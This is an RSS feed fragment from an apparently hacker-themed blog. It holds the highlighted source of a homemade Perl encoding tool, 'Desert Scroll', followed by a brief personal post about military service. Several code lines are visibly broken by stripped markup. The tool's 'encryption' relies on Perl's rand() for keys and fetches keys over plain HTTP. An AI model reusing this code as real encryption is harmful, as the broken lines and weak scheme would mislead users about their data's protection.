<div class="de1"><span class="br0">&#91;</span><span class="sy0">!</span><span class="br0">&#93;</span> perl Desert_Scroll-v1<span class="nu0">.0</span>-recode.pl -g</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span><span class="sy0">!</span><span class="br0">&#93;</span> &nbsp;-<span class="sy0">&amp;</span>gt; key <span class="kw3">length</span>.</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span><span class="sy0">!</span><span class="br0">&#93;</span> &nbsp; &nbsp;-<span class="sy0">&amp;</span>gt; Destenation of the key file.</div>
</li>
<li class="li1">
<div class="de1">~;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">exit</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;<span class="es0">\n</span>[V]Generating key&#8230;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$key</span>=key_gen<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;[V]Key is being saved to @ARGV[2].<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;save_file<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>,<span class="re0">$key</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;[V]Key generation completed.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">elsif</span><span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="sy0">!</span>=<span class="nu0">3</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="kw3">qq</span>~</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span><span class="sy0">!</span><span class="br0">&#93;</span>DS is using the following syntax:</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span><span class="sy0">!</span><span class="br0">&#93;</span>Use: perl Desert_Scroll-v1<span class="nu0">.0</span>-recode.pl &nbsp; &nbsp;<span class="sy0">&amp;</span>lt;-e<span class="sy0">/</span>-d<span class="sy0">&amp;</span>gt;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span><span class="sy0">!</span><span class="br0">&#93;</span>type <span class="st0">&quot;perl Desert_Scroll-v1.0-recode.pl -h&quot;</span> <span class="kw1">for</span> fully specifications about DS.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">~;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> eq <span class="st0">&quot;-e&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$file</span>=file_content<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$key</span>=file_content<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="re0">$file</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span><span class="kw3">print</span><span class="st0">&quot;[!]Couldnt open source file therefore argument treated like a string.<span class="es0">\n</span>&quot;</span>;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$key_string</span>=<span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$key_string</span>=~<span class="sy0">/</span>http\:\<span class="sy0">/</span>\<span class="sy0">//</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">print</span> <span class="st0">&quot;[!]Downloading the key from: $key_string<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$key</span>=get<span class="br0">&#40;</span><span class="re0">$key_string</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">elsif</span><span class="br0">&#40;</span><span class="re0">$key</span>=file_content<span class="br0">&#40;</span><span class="re0">$key_string</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span> <span class="kw3">print</span> <span class="st0">&quot;[!]Opening the source of the key file.<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">print</span> <span class="st0">&quot;[!]Couldnt open Key-file therfore argument treated like a length interger.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$key</span>=key_gen<span class="br0">&#40;</span><span class="re0">$key_string</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; save_file<span class="br0">&#40;</span><span class="st0">&quot;[key]&quot;</span>.<span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>,<span class="re0">$key</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">print</span> <span class="st0">&quot;[!]New Generated key has been saved to <span class="es0">\&quot;</span>[key]@ARGV[0]<span class="es0">\&quot;</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;key_map<span class="br0">&#40;</span><span class="re0">$key</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;[V]Key mapped successfully in memory.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;save_file<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,encode<span class="br0">&#40;</span><span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;[V]Encoded file is saved to <span class="es0">\&quot;</span>@ARGV[1]<span class="es0">\&quot;</span>.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;[V]Encoding complete.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">close</span><span class="br0">&#40;</span>DEST<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$e</span>=;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">elsif</span><span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> eq <span class="st0">&quot;-d&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$file</span>=file_content<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$key</span>=file_content<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="re0">$file</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span><span class="kw3">print</span><span class="st0">&quot;[!]Couldnt open source file therefore argument treated like a string.<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>=~<span class="sy0">/</span>http\:\<span class="sy0">/</span>\<span class="sy0">//</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">print</span> <span class="st0">&quot;[!]Downloading the key from: @ARGV[2]<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$key</span>=get<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">elsif</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="re0">$key</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span> <span class="kw3">print</span> <span class="st0">&quot;[X]Could&#39;nt Open the source key file, decoding process failed.<span class="es0">\n</span>&quot;</span>;exit;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;[!]Opening the source of the key file.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;save_file<span class="br0">&#40;</span><span class="re0">@ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,decode<span class="br0">&#40;</span><span class="re0">$file</span>,<span class="re0">$key</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;[V]Decoded file is saved to <span class="es0">\&quot;</span>@ARGV[1]<span class="es0">\&quot;</span>.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;[V]Decoding complete.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">close</span><span class="br0">&#40;</span>DEST<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$e</span>=;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> file_content<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="re0">$content</span>,<span class="re0">$line</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$source</span><span class="br0">&#41;</span>=<span class="re0">@_</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">open</span><span class="br0">&#40;</span>FILE_CON,<span class="re0">$source</span><span class="br0">&#41;</span> <span class="sy0">||</span> <span class="kw3">return</span> <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$line</span>=<span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="re0">$content</span>.=<span class="re0">$line</span>;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">close</span><span class="br0">&#40;</span>FILE_CON<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">return</span> <span class="re0">$content</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> save_file<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$dest</span>,<span class="re0">$content</span><span class="br0">&#41;</span>=<span class="re0">@_</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="kw3">open</span><span class="br0">&#40;</span>FILE_SAV,<span class="st0">&quot;&amp;gt;$dest&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span> <span class="kw3">print</span><span class="br0">&#40;</span><span class="st0">&quot;[X]Unable to open the file.<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> FILE_SAV <span class="re0">$content</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">close</span><span class="br0">&#40;</span>FILE_SAV<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> key_gen<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$len</span><span class="br0">&#41;</span>=<span class="re0">@_</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span>=<span class="nu0">0</span>; <span class="re0">$i</span><span class="sy0">&amp;</span>lt;=<span class="re0">$len</span>;<span class="re0">$i</span>++<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$keytext</span>.=<span class="re0">$rnd_char</span>=<span class="kw3">chr</span><span class="br0">&#40;</span><span class="kw3">rand</span><span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">return</span> <span class="re0">$keytext</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> encode</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$content</span><span class="br0">&#41;</span>=<span class="re0">@_</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$len</span>=<span class="kw3">length</span><span class="br0">&#40;</span><span class="re0">$content</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span>=<span class="nu0">0</span>;<span class="re0">$i</span><span class="sy0">&amp;</span>lt;=<span class="re0">$len</span>;<span class="re0">$i</span>++<span class="br0">&#41;</span> <span class="co1"># foreach letter</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$num</span>=<span class="kw3">ord</span><span class="br0">&#40;</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$content</span>,<span class="re0">$i</span>,<span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">@</span><span class="br0">&#123;</span><span class="re0">$map</span><span class="br0">&#91;</span><span class="re0">$num</span><span class="br0">&#93;</span><span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="re0">$rand_var_alloc</span> = <span class="re0">$map</span><span class="br0">&#91;</span><span class="re0">$num</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="kw3">int</span><span class="br0">&#40;</span><span class="kw3">rand</span><span class="br0">&#40;</span><span class="kw3">scalar</span><span class="br0">&#40;</span><span class="sy0">@</span><span class="br0">&#123;</span><span class="re0">$map</span><span class="br0">&#91;</span><span class="re0">$num</span><span class="br0">&#93;</span><span class="br0">&#125;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="re0">$encoded</span>.=<span class="st0">&quot;$rand_var_alloc &quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span> <span class="kw3">print</span> <span class="st0">&quot;[X]the ASCII value $num doesnt exist in the key this might cause data loss..<span class="es0">\n</span>&quot;</span>;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">return</span> <span class="re0">$encoded</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> decode</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="re0">@encoded</span>,<span class="re0">$num</span>,<span class="re0">$letter</span>,<span class="re0">$decoded</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$content</span>,<span class="re0">$key_src</span><span class="br0">&#41;</span>=<span class="re0">@_</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">@encoded</span> = <span class="kw3">split</span><span class="br0">&#40;</span><span class="sy0">/</span> <span class="sy0">/</span>,<span class="re0">$content</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">foreach</span> <span class="re0">$num</span> <span class="br0">&#40;</span><span class="re0">@encoded</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$letter</span> = <span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$key_src</span>,<span class="re0">$num</span>,<span class="nu0">1</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$decoded</span> .= <span class="re0">$letter</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">return</span> <span class="re0">$decoded</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> key_map</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$content</span><span class="br0">&#41;</span>=<span class="re0">@_</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">my</span> <span class="re0">$num</span>,<span class="re0">$i</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span>=<span class="nu0">0</span>;<span class="re0">$i</span><span class="sy0">&amp;</span>lt;=<span class="kw3">length</span><span class="br0">&#40;</span><span class="re0">$content</span><span class="br0">&#41;</span>;<span class="re0">$i</span>++<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$num</span>=<span class="kw3">ord</span><span class="br0">&#40;</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$content</span>,<span class="re0">$i</span>,<span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">push</span><span class="br0">&#40;</span><span class="sy0">@</span><span class="br0">&#123;</span><span class="re0">$map</span><span class="br0">&#91;</span><span class="re0">$num</span><span class="br0">&#93;</span><span class="br0">&#125;</span>,<span class="re0">$i</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">return</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/desert-scroll-v10/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mission abort!</title>
		<link>http://www.blackhat.org.il/index.php/mission-abort/</link>
		<comments>http://www.blackhat.org.il/index.php/mission-abort/#comments</comments>
		<pubDate>Sun, 22 Jun 2008 13:27:57 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=19</guid>
		<description><![CDATA[So they had to drag me all the way down south just to tell me that its okay and i can pass on the military training&#8230; its not that i&#8217;m not happy about it but for fuck sakes!, i drove 4 hours today because they couldnt just decide sucha simple thing before the recruiting me.
so [...]]]></description>
			<content:encoded><![CDATA[<p>So they had to drag me all the way down south just to tell me that its okay and i can pass on the military training&#8230; its not that i&#8217;m not happy about it but for fuck sakes!, i drove 4 hours today because they couldnt just decide sucha simple thing before the recruiting me.</p>
<p>so anyway if i&#8217;m looking at the bright side of it, i&#8217;ve just got a day off from work<br />
which is more free for me!, the question is what do i do with it.. <img src='http://www.blackhat.org.il/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><img src="http://www.blackhat.org.il/uploads/DSC00346.JPG" alt="So far for anonymity eh ?" width="200" align="right" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/mission-abort/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
